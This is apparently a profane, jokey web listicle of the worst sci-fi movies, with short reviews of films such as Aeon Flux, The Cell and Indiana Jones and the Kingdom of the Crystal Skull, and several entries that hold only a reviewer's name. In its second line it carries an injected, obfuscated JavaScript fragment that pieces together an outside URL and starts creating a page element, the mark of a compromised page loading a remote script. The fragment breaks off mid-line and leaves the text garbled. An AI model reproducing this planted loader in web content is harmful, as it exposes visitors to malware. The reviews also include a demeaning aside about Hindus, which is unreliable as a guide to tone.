The Worst Sci-Fi Movies Of All Time

Uh, some goddamn sci-fi that's not very good.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.crea

That's right, baby. Give me all of that bad sci-fi action...

Just The Facts

  1. Science fiction can be really good.
  2. Sometimes it's really bad.
  3. Here are the ones that aren't good.

Waterworld

Hordak

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Jurassic Park 3

Yow

Aeon Flux

The pitch meeting for this must have gone somthing like this: "Hey, what was that cartoon with the assassin chick caled? You know, it used to be on MTV sometimes."

"Aeon Flux?"

"Yeah. That's the one. Why don't we just make a movie out of that?"

"Actually that might not be bad. A two hour animated action feature?"

"No, no. Live action. We take out all the cartoon action and replace it with substandard martial arts stuff."

"But we keep the same weird gritty tone to the whole thing, right?"

"Hell no! Make it all futuristic. Like Sears was in the 70's. We give everyone stupid hair and clothes, and have them pose and argue a lot. Like a fashion show with drama. Also, how about we make up a lot of gadgets and science blather? That's what the kids are into these days. Also, the chick from Fargo. We can't make this movie without her."

You would hope that movie studios had people to stop terrible ideas like this, but they don't. Terrible ideas are allowed to flourish, and they especially love starting with something awesome, and reducing it down to a below average level.

Much of the movie didn't even come from the original Aeon Flux series, which was often violent, icky, and inexplicable. Most of the time there was no dialogue by the main character. If you adapt it to make your main character have a lot of dialogue, that's kind of the opposite thing.

-KP

A Sound of Thunder

Yow

War of the Worlds (2005)

Hordak

The Cell

Really, could any more be wrong with this movie?


Yes; For example, the costumes, sets, and effects could have been terrible. Instead, only every other aspect of the movie is terrible. We aren't kidding. Something is vastly wrong with the directing here, because even the good actors in this are far from believable.

Vincent D'Onofrio is given some bizarre cartoonish villain to play who literally dresses up as a clown at one point, and yanks out a guy's guts. Strangely, the movie keeps being bad after that. Vince Vaughn ismore wooden than he's ever been, unable to bring any of his occasional meager charm to the situation. And J-Lo...well, J-Lo always sucked, and she keeps on sucking here. Not only this, it's just needlessly gross and tries far too hard to be edgy. And we like the scenes from the Thing where people are morphing out new alien parts, yet we still found the Cell to just be needlessly gory for no real reason.

The whole mess is made much worse with absurd plot devices and characters spouting the most bullshit pseudoscience anyone has heard in possibly decades, and by the end, you won't even be able to remember why you watched the thing. You'll be too busy trying to decide if it's a worse crime to waste all those cool effects, or to allow things like J-Lo to ever be in movies

-KP

Signs/The Happening

KP

Star Trek: The Motion Picture

Hordak

Indiana Jones & The Kingdom of the Crystal Skull

Wait a minute, why is Indiana Jones on a list of sci-fi movies?

"Why?" indeed, and there's half the problem right there. The very asskicking adventurer had previously enjoyed success fighting Nazis and bloodthirsty hindus in old-fashioned manly adventures. Inspired by the genius of coming up with JarJar Binks, George Lucas clearly felt aliens were what the Indiana Jones movies needed, and he was completely wrong about that.

The second part of the problem comes from the fact that he seems to have forgotten who Indiana Jones was, and written the part for a combination of Superman and Captain Kirk. First they stick him in a fridge and blow up everything around him (leading to the very apt phrase "Nuking the Fridge" becoming a contender to replace "Jumping the Shark", and rightly so). Then there's his son, Shia LaBoofies, who we know is his son already, because we saw the fucking commercial that YOU MADE, Lucasfilms! It's not remotely a surprise when Dr.Jones finds out that his own staff of Ra has made little raiders.

Then...aliens. Yes, aliens. Why did it have to be aliens? Just, fuck it. This is too silly to even try to make any sense of. This alien skull storyline might have worked ok...in a sci-fi movie. Just like Indiana Jones works ok in an adventure movie. We're probably just lucky that Lucas didn't decide to throw in a nazi Jabba Der Hutt or something.

-KP

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KP

Spidermen/X-Men 3

You know what the best thing is about superhero trilogies?

The first two movies.

After that, prepare to throw away all intention of delivering a semi-faithful adaptation. You know what? Fuck it. Just take some large ideas from the comic books that you haven't covered yet, and mash them all together into a most incomprehensible mess.

Also, all that stuff that happened in the first two movies? That stuff hardly matters. It only really happened to convince you to buy a ticket for the 3rd movie in the series. Now your guard is down. You feel comfortable. You probably don't even notice when the director starts trying to touch you in an inappropriate way.

Then you suddenly realize what's going on. You snap to attention, feeling violated as hell. "Did...the past just change?" you'll ask, feeling alone and disoriented. And the director will laugh and tell you to take those pants off. Something has gone terribly wrong with the movie, and it's going to keep going wrong for the next 90 minutes while you try not to cry.

Maybe a plot device from earlier superhero movies will get thrown in there. Maybe key characters can just be killed off during the first 10 minutes and not mentioned ever again. Maybe major characters can just change their lifelong attitudes for no real reason.

Whatever happens, you can probably bet the movie will suck, and no one has any rational explanation for this at all. It just seems to be one of those things. Like cancer.

-KP

Plan 9 From Outer Space

Yow

Honorable Mention

?? didn't get this far yet. will fill within the day.